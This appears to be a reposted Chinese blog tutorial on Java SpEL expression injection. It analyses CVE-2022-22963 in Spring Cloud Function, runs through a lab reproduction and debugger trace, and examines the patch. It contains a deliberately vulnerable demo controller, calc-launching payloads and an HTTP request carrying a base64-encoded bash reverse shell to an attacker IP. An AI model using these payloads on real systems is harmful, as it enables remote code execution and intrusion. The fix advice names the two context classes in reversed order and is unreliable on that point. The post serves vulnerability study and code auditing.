Java代码审计之SpEL表达式注入漏洞分析

文章目录

  • 前言
  • SpEL表达式基础
    • 基础用法
    • 安全风险
    • 案例演示
  • CVE-2022-22963
    • 漏洞简述
    • 环境搭建
    • 反弹shell
  • CVE漏洞调试分析
    • 本地搭建
    • 调试分析
    • 补丁分析
  • 总结

前言

表达式注入是 Java 安全中一类常见的能够注入命令并形成 RCE 的漏洞,而常见的表达式注入方式有 EL 表达式注入、SpEL 表达式注入和 OGNL 表达式注入等。本文将通过调试分析 CVE-2022-22963 漏洞来入门学习 SpEL 表达式注入漏洞的原理。

SpEL表达式基础

SPEL(Spring Expression Language),即 Spring 表达式语言,比 JSP 的 EL 更强大的一种表达式语言。特别是方法调用和基本的字符串模板功能。Spring 框架的核心功能之一就是通过依赖注入的方式来管理 Bean 之间的依赖关系,而 SpEl 可以方便快捷的对 ApplicationContext中 的 Bean 进行属性的装配和提取。

【Question】上面说了 SpEL 是一种表达式语言,那么什么是表达式语言呢?
表达式/模板:在一些功能中,有一些固定的格式,只有部分变量,这样的情况下就需要使用模板,模板就是将固定的部分提取出来形成一个固定的模块,然后经过处理将变量填入其中。

基础用法

如下是 SpEL 表达式求值的一个简单案例:

//创建解析器
ExpressionParser parser = new SpelExpressionParser();
//解析表达式
Expression expression = parser.parseExpression("('Hello' + ' World').concat(#end)");
//构造上下文
EvaluationContext context = new StandardEvaluationContext();
context.setVariable("end", "!");
//表达式求值
System.out.println(expression.getValue(context));

上述流程分为 4 步:

  1. 创建解析器:SpEL 使用 ExpressionParser 接口表示解析器,提供 SpelExpressionParser 默认实现;
  2. 解析表达式:使用 ExpressionParser 的 parseExpression 来解析相应的表达式为 Expression 对象;
  3. 构造上下文:上下文其实就是设置好某些变量的值,执行表达式时根据这些设置好的内容区获取值;
  4. 表达式求值:通过 Expression 接口的 getValue 方法根据上下文获得表达式值。

其中,第三步构造上下文并不是必需的步骤,在不配置的情况下具有默认类型的上下文(StandardEvaluationContext),故以下代码示例与上面代码等价:

//创建解析器
ExpressionParser parser = new SpelExpressionParser(); 
//传入并解析需要评估的表达式
Expression expression = parser.parseExpression("'Hello World!'"); 
//执行表达式,然后获取值
String message = (String) expression.getValue(); 

安全风险

SpeL 表达式语言在 EvaluationContext 上下文类型除了提供默认的 StandardEvaluationContext外,还提供了 SimpleEvaluationContext

【风险】SimpleEvaluationContext 旨在仅支持 SpEL 语言语法的一个子集,不包括 Java 类型引用、构造函数和 bean 引用,而 StandardEvaluationContext 是支持全部 SpEL 语法的,它包含了 SpEL 的所有功能,在允许用户控制输入的情况下可以成功造成任意命令执行,因为 SpEL 表达式是可以操作类及其方法的,可以通过类类型表达式 T(Type) 来调用任意类方法,比如以下示例代码将在 Windows 系统上执行运行计算器的指令:

String expressionstr = "T(Runtime).getRuntime().exec(\"calc\")";
ExpressionParser parser = new SpelExpressionParser();
EvaluationContext evaluationContext = new StandardEvaluationContext();
Expression expression = parser.parseExpression(expressionstr);
system.out.prinln(expression.getValue(evaluarionContext));

与此同时,由于在不指定 EvaluationContext 的情况下默认采用的是 StandardEvaluationContext,所以默认情况下 SpEL 表达式求值存在代码注入导致 RCE 的风险。

案例演示

下面通过本地 IDEA 创建存在简单漏洞示例的 SpringBoot 项目来直观感受下 SpEL 表达式注入漏洞。

1、由于我使用的是社区版的 IDEA(穷,用不起旗舰版),没有 Spring Initializer 功能,无法快捷创建 Spring Boot 项目,只能手动去 https://start.spring.io/ 把工程创建好之后下载下来:
在这里插入图片描述
在这里插入图片描述
2、下载完是个 demo.zip 压缩包工程文件,解压缩后使用 IDEA 社区版 正常 open project 即可,IDEA 会自动下载 pom.xml 配置的依赖包到本地 Maven 仓库:
在这里插入图片描述

修改 IDEA Maven 本地仓库和远程仓库配置的话,请参见:Intellij IDEA配置Maven(内置Maven和修改本地仓库地址和阿里云中央仓库)。

3、到 application.properties 配置文件修改服务端口为 8081(默认为 8080,与BurpSuite抓包代理冲突了):
在这里插入图片描述
4、接着手动新增创建一个控制器 MyController 如下:
在这里插入图片描述

@RestController
public class MyController {// 映射到方法上,最终URL为localhost:8081/spel1,此处通常用 @GetMapping("/spel1") 表明GET请求方式的映射@RequestMapping("/spel1")@ResponseBodypublic String spel(String input){SpelExpressionParser parser = new SpelExpressionParser();Expression expression = parser.parseExpression(input);return expression.getValue().toString();}@RequestMapping("/spel2")@ResponseBodypublic String spel2(String input){SpelExpressionParser parser = new SpelExpressionParser();EvaluationContext evaluationContext = new StandardEvaluationContext();Expression expression = parser.parseExpression(input);return expression.getValue(evaluationContext).toString();}@RequestMapping("/spel3")@ResponseBodypublic String spel3(String input){SpelExpressionParser parser = new SpelExpressionParser();EvaluationContext evaluationContext = SimpleEvaluationContext.forReadOnlyDataBinding().build();Expression expression = parser.parseExpression(input);return expression.getValue(evaluationContext).toString();}
}

上述控制器逻辑很简单,我添加了三个路由:

路由配置是否存在 SpEL 注入漏洞
/spel1不指定 EvaluationContext ,默认是 StandardEvaluationContext
/spel2指定上下文 StandardEvaluationContext
/spel3指定上下文 SimpleEvaluationContext

4、接下来直接运行 SpringBoot 项目,即可在本地 8081 端口成功访问到 Web 服务:
在这里插入图片描述
在这里插入图片描述
5、接下来根据我们配置的路由来验证漏洞,Payload为:/spelX?input=T(Runtime).getRuntime().exec("calc")
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
从上面简单而直观的漏洞示例代码可以看出,在不指定 EvaluationContext 或者显示采用 StandardEvaluationContext 作为上下文的时候,如果 SpEL 表达式的值可被外部输入所控制,则存在因 SpEL 表达式注入导致 RCE 的风险。

CVE-2022-22963

接下来通过复现、调试分析一个 SpEL 表达式注入 CVE 漏洞来进一步学习、理解此类漏洞,此处挑选的是 CVE-2022-22963。

漏洞简述

如 Vulhub官方文档所述:Spring Cloud Function 提供了一个通用的模型,用于在各种平台上部署基于函数的软件,包括像 Amazon AWS Lambda 这样的 FaaS(函数即服务,function as a service)平台。

2022年3月,Spring Cloud 官方修复了一个 Spring Cloud Function 中的 SPEL 表达式注入漏洞,由于 Spring Cloud Function中 RoutingFunction 类的 apply 方法将请求头中的 “spring.cloud.function.routing-expression” 参数作为 SpEL 表达式进行处理,造成了 SpEL 表达式注入漏洞,攻击者可利用该漏洞远程执行任意代码。

【受影响版本】3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2

参考链接:

  1. CVE-2022-22963 漏洞描述;
  2. CVE-2022-22963 官方漏洞修复方案;
  3. Spring Cloud Function SPEL表达式注入漏洞分析;

环境搭建

本文使用 Ubuntu 官方虚拟机 + Vulhub CVE 漏洞靶场环境 复现该漏洞。以前的漏洞复现文章已经写过 Vulhub 靶场的使用步骤:渗透测试-Openssl心脏出血漏洞复现。

整体复述一下,Ubuntu 上安装 Docker 环境和搭建 Vulhub 靶场的步骤:

1、安装docker:apt-get install -y docker.io
2、安装docker-compose:pip install docker-compose
3、启动docker后台服务:sudo service docker start
4、将当前用户加入docker组sudo usermod -aG docker $USER
5、配置 docker 加速器(提高容器下载速度):https://blog.csdn.net/feiying0canglang/article/details/126491715
6、下载vulhub漏洞目录:git clone https://github.com/vulhub/vulhub.git
7、进入想要复现的漏洞对应文件夹:cd ~/vulhub/struts2/s2-048/(示例路径)
8、以root身份执行以下命令开始运行漏洞容器:docker-compose up -d

回顾 Docker 用法请参考历史博文:渗透测试-Docker容器。

【推荐】提高 Docker 镜像下载速度请参考:Docker–提高下载速度的方法。

此处顺便再简单总结下 Docker 常用命令:

目的命令
在Docker公用仓库搜索镜像docker search bwapp(容器镜像名)
从Docker公用仓库拉取镜像docker pull raesene/bwapp(远程镜像路径)
返回本地Docker容器镜像信息docker images
将镜像运行为一个真正在运行的容器docker run -d -p 8080:80 本地容器镜像名
查看正在运行的容器docker ps
查看所有容器(无论是否正在运行)docker ps -a
查看指定容器的详细信息docker inspect 容器名或id
进入容器的shell交互模式docker exec -i -t 容器id bash
停止正在运行的容器docker stop 容器id
重启本地已停止运行的容器docker start 容器id
强制删除本地容器docker rm -f 容器ID

Ubuntu 虚拟机成功搭建环境如下:
在这里插入图片描述
物理机访问 Docker 服务(http://192.168.171.129:8080/):
在这里插入图片描述

反弹shell

先说下这个漏洞产生的原因:如果在 /functionRouter 的 POST 请求头中添加一个 spring.cloud.function.routing-expression 参数,Spring Cloud Function 会直接将参数值带入 SpEL 中查询导致 SpEL 注入。

那我们直接在 POST 请求中发送反弹 Shell 的命令即可,此处使用同一局域网中的 Kali 虚拟机作为攻击机(192.168.171.128):

bash -i >& /dev/tcp/192.168.171.128/6666 0>&1

但是需要使用 reverse-shell 在线工具 将上述反弹 shell 的命令进行 Base64 编码(具体原因请参见:Java反弹shell小记):
在这里插入图片描述
直接发送报文:

POST /functionRouter HTTP/1.1
Host: 192.168.171.129:8080
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3MS4xMjgvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}")
Connection: close
Content-Length: 6test

在这里插入图片描述

【题外话】此处顺便补充一个小技巧,BurpSuite 如果显示字体模糊、分辨率不佳的情况下(比如此图,伤眼睛啊……),可以在桌面快捷方式右键选择“属性”,在兼容性中选择如下配置项后重启即可解决(效果可参见下文另外的 Burp 截图):
在这里插入图片描述
此时 Kali 攻击机可获得反弹的 Shell(其中 1832.168.171.129 正是 Ubuntu 靶机的局域网 IP):在这里插入图片描述
至此,我们已成功复现该漏洞,通过 SpEL 注入实现了 RCE 远程命令执行。

最后,结束 Ubuntu 虚拟机靶场容器环境的运行:
在这里插入图片描述

CVE漏洞调试分析

简单的复现漏洞并不是目的,我们的目的是从历史 CVE 漏洞中分析根因,并尽可能能够实现在白盒代码审计实战中做到举一反三。

本地搭建

此处采用本地 IDEA 新建 SpringBoot 项目的方式来搭建漏洞环境,直接沿用前文 “案例演示” 章节中的简易 SpringBoot 项目。

不想折腾的话可以直接在 Github 获取来源的漏洞环境项目:Spring-Cloud-Function-Spel。

1、只需要在 pom.xml 中新增引入 spring-boot-starter-webspring-cloud-function-web(存在漏洞的 3.2.2 版本):

<dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency><groupId>org.springframework.cloud</groupId><artifactId>spring-cloud-function-web</artifactId><version>3.2.2</version>
</dependency>

在这里插入图片描述
2、接着在 application.properties 配置文件中添加spring.cloud.function.definition=functionRouter(此配置也可以不配,非必需)
在这里插入图片描述
3、然后即可到 main 函数启动 Spring 项目:
在这里插入图片描述
在这里插入图片描述

然而发现以下数据包并无法触发漏洞:

POST /functionRouter HTTP/1.1
Host: 127.0.0.1:8081
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc.exe")
Connection: close
Content-Length: 4test

4、最终发现需要修改 pom.xml 配置文件中如下组件版本信息,才能成功触发漏洞(坑啊……):

   <parent><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-parent</artifactId><version>2.6.5</version><relativePath/> <!-- lookup parent from repository --></parent>

在这里插入图片描述
在这里插入图片描述

调试分析

需要在上述命令执行处下断点,看下程序执行流程。

SpringCloud Function 之所以能自动将函数建立 http 端点,是因为在包 mvc.FunctionController 中使用 /** 监听了 GET/POST 类型的所有端点:
在这里插入图片描述
故我们在org.springframework.cloud.function.web.mvc.FunctionController#post方法上下断点进行跟踪,程序会获取 body 中的参数,并传入 processRequest 方法中:
在这里插入图片描述

1、接着 processRequest 函数将判断当前请求是否为 RoutingFunction,并将请求的内容和 Header 头编译成 Message 带入到 FunctionInvocationWrapper.apply 方法中:
在这里插入图片描述
2、跟进FunctionInvocationWrapper.apply函数,随后又进入其中的 doApply 方法:
在这里插入图片描述
3、跟进 doApply 函数,会执行到如下 else 分支,进入 RoutingFunction 类的 apply 方法:
在这里插入图片描述
4、继续 step into 跟进 RoutingFunction 类的 apply 方法,发现将进入到org.springframework.cloud.function.context.config.RoutingFunction#route方法中:
在这里插入图片描述
5、跟进 route 函数,发现随后进入的是 else if 分支,由于 exp 请求中的 http 头spring.cloud.function.routing-expression 不为空,则传入其值到functionFromExpression 方法:
在这里插入图片描述
6、step into 跟进 functionFromExpression 方法,发现其使用 SpelExpressionParser 解析了 SpEL 表达式,且调用了 expression.getValue 导致最终触发 SpEL 表达式注入:
在这里插入图片描述
在这里插入图片描述
而此处的 evalContext 又采取了默认的 StandardEvaluationContext(在不指定 EvaluationContext 的情况下默认也采用的是StandardEvaluationContext),而它包含了 SpEL 的所有功能,在允许用户控制输入的情况下 SpEL 表达式是可以操作类及其方法的,可以通过类类型表达式 T(Type) 或者直接 new 来调用任意对象的任意方法,成功造成任意命令执行。
在这里插入图片描述
在这里插入图片描述

跟踪到这已经完成整个 SpEL 表达式注入的触发流程了,后续就不用再跟下去了。至此可以发现,只要通过环境变量、配置文件或者参数等方式配置为 spring.cloud.function.definition=functionRouter, 即可触发 SpEL 注入。

补丁分析

SpringCloud 官方已经修复了此问题,在 GitHub 上给出了修复 commit:

https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f

和其他 SpEL 注入修复方式一样,修补代码核心是在 functionFromExpression 函数中,使用了安全的 SimpleEvaluationContext 替换不安全的 StandardEvaluationContext
在这里插入图片描述
在这里插入图片描述
上述代码增加判断带解析的 SpEL 表达式来源是否是 header,如果是 header 就使用属于 SimpleEvaluationContextheaderEvalContext,不是 header 才会使用属于 StandardEvaluationContextevalContext

总结

本文重点分析了 CVE-2022-22963,总结来说就是 Spring Cloud Function 相关版本提供的 spring.cloud.function.routing-expression 有解析Spel表达式的能力,而且使用的是默认的 StandardEvaluationContext,导致存在 SpEL 表达式注入。恶意攻击者无需认证即可通过构造特定的 HTTP 请求头注入 SpEL 表达式,最终执行任意命令,获取服务器权限。

漏洞检测

来小结下对 Java 项目进行代码审计过程中,挖掘 SpEL 表达式注入漏洞可行的套招。

整体来说,由于此类代码流程特征为:

parseExpression()----StandardEvaluationContext()----getvalue()

所以可以在代码中全局搜索 parseExpression 方法,审计其输入是否外部可控,然后看使用的上下文是否是 StandardEvaluationContext(默认的也是StandardEvaluationContext),最后看是否执行了 getvalue() 等操作方法。如果满足上面的要求,则说明存在 SPEL 注入漏洞。

漏洞修复

很简单,使用 StandardEvaluationContext 替换 SimpleEvaluationContext,或者对外部输入的 SpEL 表达式进行过滤。

本文参考文章:

  1. Java安全学习:表达式注入;
  2. SPEL表达式注入——入门篇;
  3. Java代码审计之SpEL表达式注入;
  4. Spring Cloud Function Spel表达式注入;
  5. SpringCloud Function SpEL注入漏洞分析(CVE-2022-22963);

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/213806.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

124.(leaflet篇)leaflet禁止地图移动,缩放,双击

地图之家总目录(订阅之前必须详细了解该博客) 完整代码工程包下载,运行如有问题,可“私信”博主。效果如下所示: 下面献上完整代码,代码重要位置会做相应解释 <!DOCTYPE html> <html>

【Docker】使用docker-compose搭建django+vue工程文章

我们尝试使用docker-compose编排一个后端基于django,前端基于vue,数据库为postgresql并使用nginx进行反向代理的web工程。 工程准备 Docker 安装Docker 安装docker-compose django 在python3.7的环境下创建 修改settings.py文件 修改 将静态文件收集路径添加进 ,笔…

pip指定优先从豆瓣源下载包

对于 Unix/macOS 系统&#xff0c;使用以下命令&#xff1a; pip config set global.index-url https://pypi.douban.com/simple/ 对于 Windows 系统&#xff0c;打开命令提示符或PowerShell&#xff0c;并使用相同的命令&#xff1a; pip config set global.index-url http…

XUbuntu22.04之8款免费UML工具(一百九十七)

简介&#xff1a; CSDN博客专家&#xff0c;专注Android/Linux系统&#xff0c;分享多mic语音方案、音视频、编解码等技术&#xff0c;与大家一起成长&#xff01; 优质专栏&#xff1a;Audio工程师进阶系列【原创干货持续更新中……】&#x1f680; 优质专栏&#xff1a;多媒…

供应链管理痛点大解析!内附解决方案

供应链是指涉及产品或服务生产、运输、分销和最终交付给客户的过程。 用一个汽车制造的例子来帮助大家理解&#xff1a; 原材料采购&#xff1a; 汽车制造商需要从供应商处采购制造汽车所需的原材料&#xff0c;例如金属、橡胶、塑料和玻璃。生产制造&#xff1a;获得原材料&…

UnoCSS 原子化开发初体验

UnoCSS 是一个即时的原子化 CSS 引擎&#xff0c;旨在灵活和可扩展。核心是不拘一格的&#xff0c;所有的 CSS 工具类都是通过预设提供的。再也不用为了取一个 classname 类名而烦恼了。 一、UnoCSS 特点 完全可定制&#xff1a;无核心工具&#xff0c;所有功能都通过预设提供…

如何公网访问内网的群晖NAS随时随地远程访问本地存储的学习资源

文章目录 前言本教程解决的问题是&#xff1a;按照本教程方法操作后&#xff0c;达到的效果是前排提醒&#xff1a; 1. 搭建群晖虚拟机1.1 下载黑群晖文件vmvare虚拟机安装包1.2 安装VMware虚拟机&#xff1a;1.3 解压黑群晖虚拟机文件1.4 虚拟机初始化1.5 没有搜索到黑群晖的解…

成都工业学院Web技术基础(WEB)实验六:ECMAScript基础语法

写在前面 1、基于2022级计算机大类实验指导书 2、代码仅提供参考&#xff0c;前端变化比较大&#xff0c;按照要求&#xff0c;只能做到像&#xff0c;不能做到一模一样 3、图片和文字仅为示例&#xff0c;需要自行替换 4、如果代码不满足你的要求&#xff0c;请寻求其他的…

TwinCAT3 Modbus-TCP Client/Server使用

目录 一、环境配置和准备 1、PLC中安装TF6250-Modbus-TCP库 2、勾选TF6250的license 3、PLC工程中添加Tc2_ModbusSrv库文件 4、分别创建测试ModbusTCP测试的Server和Client程序 二、PLC作为Client端 1、设置测试电脑IP地址 2、运行MobusTCP测试工具 3、PLC端程序编写 …

Hiera实战:使用Hiera实现图像分类任务(二)

文章目录 训练部分导入项目使用的库设置随机因子设置全局参数图像预处理与增强读取数据设置Loss设置模型设置优化器和学习率调整策略设置混合精度&#xff0c;DP多卡&#xff0c;EMA定义训练和验证函数训练函数验证函数调用训练和验证方法 运行以及结果查看测试完整的代码 在上…

可学习超图拉普拉斯算子代码

python版本&#xff1a;3.6。sklearn版本&#xff1a;scikit-learn0.19 问题1&#xff1a;ERROR: Could not build wheels for ecos, scs, which is required to install pyproject.toml-based projects| 解决办法&#xff1a;cvxpy安装过程中遇到的坑_ecos 2.0.7.post1 cp37 …

大数据技术7:基于StarRocks统一OALP实时数仓

前言&#xff1a; 大家对StarRocks 的了解可能不及 ClickHouse或者是远不及 ClickHouse 。但是大家可能听说过 Doris &#xff0c;而 StarRocks 实际上原名叫做 Doris DB &#xff0c;他相当于是一个加强版的也就是一个 Doris ,也就是说 Doris 所有的功能 StarRocks 都是有的&a…

【设计模式--结构型--桥接模式】

设计模式--结构型--桥接模式 桥接&#xff08;Bridge&#xff09;模式定义结构案例好处使用场景 桥接&#xff08;Bridge&#xff09;模式 定义 将抽象与实现分离&#xff0c;使他们可以独立变化。它是用组合关系代替继承关系来实现&#xff0c;从而降低了抽象和实现这两个维…

达梦 DM 数据库

达梦数据库 varchar varchar2的区别, 推荐使用 varchar2 -- 日期格式化 SELECT DATE_FORMAT(GETDATE(), %Y-%m-%d %H:%i:%s);-- 2023-12-11 SELECT CURDATE();-- 2023-12-11 09:22:24 SELECT SYSDATE();-- 2023-12-11 11:09:53.136527 SELECT GETDATE();-- 当前日期1 -1天 SEL…

vite+vue3实现动态路由

在做这个动态路由的时候踩了很多坑&#xff0c;其中大部分是粗心了 动态菜单主要是导入的方式 import.meta.glob 参考&#xff1a;功能 | Vite 官方中文文档 1、多层路由渲染&#xff08;用3层路由做demo&#xff09; 拿到接口的数据是后台直接处理好的结构&#xff0c;但是…

VR转接线方案/VR Link串流数据线方案/VR眼镜PD快充方案

虚拟现实技术(英文名称&#xff1a;Virtual Reality&#xff0c;缩写为VR)&#xff0c;又称虚拟实境或灵境技术&#xff0c;是20世纪发展起来的一项全新的实用技术。虚拟现实技术囊括计算机、电子信息、仿真技术&#xff0c;其基本实现方式是以计算机技术为主&#xff0c;利用并…

kafka支持外网访问

kafka支持外网访问 1.kafka正常部署之后如果不修改&#xff0c;外网是无法访问的&#xff0c;具体如下&#xff08;这里是单节点&#xff09; 2.这个时候需要修改kafka的config中的server.properties中的 listeners 修改为0.0.0.0 监控所有网卡&#xff0c;advertised.listene…

管理空闲存储空间

位示图是操作系统中一种管理空闲存储空间的方法。管理空闲除使用位示图法还可用&#xff1a;空闲区表法&#xff0c;空闲链表法&#xff0c;成组链接法 1.空闲区表法 空闲表法属于连续分配方法。它与内存管理中的动态分区分配方法雷同。 将外存空间上一个连续未分配区域称为“…

[三次反转法]循环移动数组元素

循环移动 题目描述 给定一组整数&#xff0c;要求利用数组把这组数保存起来&#xff0c;然后实现对数组的循环移动。假定供有n个整数&#xff0c;则要使前面各数顺序向后移m个位置&#xff0c;并使最后m个数变为最前面的m个数(m<n)。 注意&#xff0c;不要用先输出后m个数…

口袋参谋:如何对订单实现一键批量插旗?

​在淘宝店铺运营中&#xff0c;对宝贝订单标注插旗&#xff0c;也算是常态了&#xff0c;至少90%的商家都不陌生&#xff0c;剩下的10%是刚入行的新手&#xff0c;正如我刚入行一样。 01 首先我们要了解什么是插旗&#xff1f; 其实就是淘宝店铺利用各种颜色的旗子来代表订单…